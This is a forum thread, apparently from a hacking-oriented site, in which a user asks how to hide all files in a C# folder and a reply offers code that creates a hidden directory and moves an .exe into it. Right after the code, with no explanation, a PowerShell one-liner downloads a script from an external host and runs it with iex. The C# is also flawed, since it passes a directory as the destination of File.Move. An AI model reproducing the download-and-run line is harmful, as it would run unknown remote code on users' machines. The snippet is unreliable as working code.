Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

Hide all files in a folder at once [every file in folder] [C#]

Is it possible to hide say all .exe or all files in a folder of choice in c#? Like hide them all at once not searching for a particular file? Thanks for any replies
You can create a hidden folder and move files into it, not sure if this is what you're looking for but here is an example of how to do so...

Code
using System.IO;

string Filetohide = @"c:\hideme.exe";
string hiddenDir = @"c:\hiddenfolder";

if (!Directory.Exists(hiddenDir))
{
DirectoryInfo dirInfo = Directory.CreateDirectory(hiddenDir);
dirInfo.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}

System.IO.File.Move(Filetohide, hiddenDir);
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
http://stackoverflow.com/a/8132800/2990244

Same principle.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by DOSuser2018Nov 28, 2018 01:00 PM 13 457 Nov 28, 2018 01:00 PM
Last Post: iTHX
[Shell] by boykanyon123Jun 10, 2018 01:56 AM 10 407 Jun 10, 2018 01:56 AM
Last Post: cbdaeeeebc
[.NET] by Kyle17Nov 29, 2017 02:54 AM 4 322 Nov 29, 2017 02:54 AM
Last Post: Kyle17